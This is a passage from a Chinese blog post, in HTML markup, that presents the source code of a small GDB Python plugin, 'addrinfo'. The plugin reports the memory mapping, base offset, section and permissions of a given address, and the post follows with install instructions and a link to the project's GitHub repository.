0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">self, arg, from_tty</span></span><span leaf="">):</span><span leaf="">        arg = arg.strip()</span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">not</span></span><span leaf=""> arg:</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;Usage: addrinfo &lt;address&gt;&#34;</span></span><span leaf="">)</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;Example: addrinfo 0x7ffff7dd18c0&#34;</span></span><span leaf="">)</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">try</span></span><span leaf="">:</span><span leaf="">            address = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">int</span></span><span leaf="">(gdb.parse_and_eval(arg))</span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">except</span></span><span leaf=""> Exception:</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">f&#34;Error: Invalid address format: &#39;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{arg}</span></span><span leaf="">&#39;&#34;</span></span><span leaf="">)</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;Usage: addrinfo &lt;address&gt;&#34;</span></span><span leaf="">)</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;Make sure the address is valid in the current debug context.&#34;</span></span><span leaf="">)</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">try</span></span><span leaf="">:</span><span leaf="">            base_addr, start, end, offset, perms, objfile = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">self</span></span><span leaf="">.find_mapping(address)</span><span leaf="">            seg_name, seg_start, seg_end = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">self</span></span><span leaf="">.find_section(address)</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">if</span></span><span leaf=""> base_addr </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">is</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">not</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">:</span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">f&#39;&#39;&#39;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{self.PLUGIN_NAME}</span></span><span leaf=""> </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{self.VERSION}</span></span><span leaf="">Address:  </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">hex</span></span><span leaf="">(address)}</span></span><span leaf=""> [</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">hex</span></span><span leaf="">(start)}</span></span><span leaf=""> - </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">hex</span></span><span leaf="">(end)}</span></span><span leaf="">] </span><span leaf="">Base:     </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">hex</span></span><span leaf="">(base_addr)}</span></span><span leaf="">Offset:   </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">hex</span></span><span leaf="">(offset)}</span></span><span leaf="">Section:  </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{seg_name}</span></span><span leaf=""> [</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">hex</span></span><span leaf="">(seg_start)}</span></span><span leaf=""> - </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">hex</span></span><span leaf="">(seg_end)}</span></span><span leaf="">]</span><span leaf="">Perms:    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{perms}</span></span><span leaf="">ObjFile:  </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{objfile}</span></span><span leaf="">&#39;&#39;&#39;</span></span><span leaf="">)</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">else</span></span><span leaf="">:</span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">f&#34;Address </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">hex</span></span><span leaf="">(address)}</span></span><span leaf=""> does not belong to any known mapped region.&#34;</span></span><span leaf="">)</span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">print</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">f&#34;Error during processing: </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">{e}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf="">    </span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(117, 113, 94);"><span leaf=""># 遍历段名</span></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(166, 226, 46);"><span leaf="">find_section</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">self, addr</span></span><span leaf="">):</span><span leaf="">        output = gdb.execute(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;info files&#34;</span></span><span leaf="">, to_string=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">True</span></span><span leaf="">)</span><span leaf="">        pattern = re.</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">compile</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">r&#34;0x([0-9a-f]+)\s*-\s*0x([0-9a-f]+)\s+is\s+(\S+)&#34;</span></span><span leaf="">)</span><span leaf="">        matches = pattern.findall(output)</span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(117, 113, 94);"><span leaf=""># 正则匹配，第3列是段名</span></span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">for</span></span><span leaf=""> start, end, name </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> matches:</span><span leaf="">            start = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">int</span></span><span leaf="">(start, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">16</span></span><span leaf="">)</span><span leaf="">            end = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">int</span></span><span leaf="">(end, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">16</span></span><span leaf="">)</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">if</span></span><span leaf=""> start &lt;= addr &lt; end:</span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> name, start, end</span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">return</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">def</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(166, 226, 46);"><span leaf="">find_mapping</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(248, 248, 242);"><span leaf="">self, addr</span></span><span leaf="">):</span><span leaf="">        mappings = gdb.execute(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;info proc mappings&#34;</span></span><span leaf="">, to_string=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">True</span></span><span leaf="">).splitlines()</span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">for</span></span><span leaf=""> line </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">in</span></span><span leaf=""> mappings:</span><span leaf="">            parts = line.strip().split()</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">len</span></span><span leaf="">(parts) &lt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">2</span></span><span leaf="">:</span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">continue</span></span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">try</span></span><span leaf="">:</span><span leaf="">                start = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">int</span></span><span leaf="">(parts[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">0</span></span><span leaf="">], </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">16</span></span><span leaf="">)</span><span leaf="">                end = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">int</span></span><span leaf="">(parts[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">1</span></span><span leaf="">], </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">16</span></span><span leaf="">)</span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">except</span></span><span leaf=""> ValueError:</span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">continue</span></span><span leaf="">            </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">if</span></span><span leaf=""> start &lt;= addr &lt; end:</span><span leaf="">                base_addr = start</span><span leaf="">                offset = addr - start</span><span leaf="">                perms = parts[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">4</span></span><span leaf="">] </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">len</span></span><span leaf="">(parts) &gt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">4</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">else</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;?&#34;</span></span><span leaf="">                objfile = parts[</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">5</span></span><span leaf="">] </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">if</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">len</span></span><span leaf="">(parts) &gt; </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">5</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">else</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#34;?&#34;</span></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">return</span></span><span leaf=""> base_addr, start, end, offset, perms, objfile</span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">return</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">None</span></span><span leaf="">AddrInfo()</span></code></pre><p style="font-size: 0px;line-height: 0;margin: 0px;" data-pm-slice="0 0 []"><span leaf=""> </span></p><div style=""><p style=""><span leaf="">若后续有新的功能或者为了适配更多的gdb版本，会在下面地址更新。主要还是看有没有实用价值吧，毕竟目前只是用来玩玩具。</span></p><p style=""><span leaf=""><a href="https://github.com/c0ny1/gdb-addrinfo" target="_blank">https://github.com/c0ny1/gdb-addrinfo</a></span></p></div><p style="font-size: 0px;line-height: 0;margin: 0px;"><span leaf=""> </span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 16.8px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0px 0.2em;color: rgb(255, 255, 255);background: rgb(159, 38, 56);"><span leaf="">0x03 使用</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">临时安装</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">(gdb) </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">source</span></span><span leaf=""> AddrInfo.py</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">永久安装，在文件</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">~/.gdbinit</span></code><span leaf="">的末尾添加如下命令。</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">source /yourpath/AddrInfo.py</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">然后就可以愉快玩耍了</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8037037037037037" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000684" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=37662abf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPdVaicibnLFlmLEbO5EFCjOI8xZgTkV2Hru7OmvrW4tXaWtoCaxQ8cGgbLn7PTpkAf1ic5jAoZickJ1EA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 14px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(159, 38, 56);"><span leaf="">引用链接</span></h4><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 11.2px;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 10.08px;opacity: 0.6;"><span leaf="">[1]</span></code><span leaf=""> Python API (Debugging with GDB): </span><i style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);word-break: break-all;"><span leaf=""><a href="https://sourceware.org/gdb/current/onlinedocs/gdb.html/Python-API.html" target="_blank">https://sourceware.org/gdb/current/onlinedocs/gdb.html/Python-API.html</a></span></i></p></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, 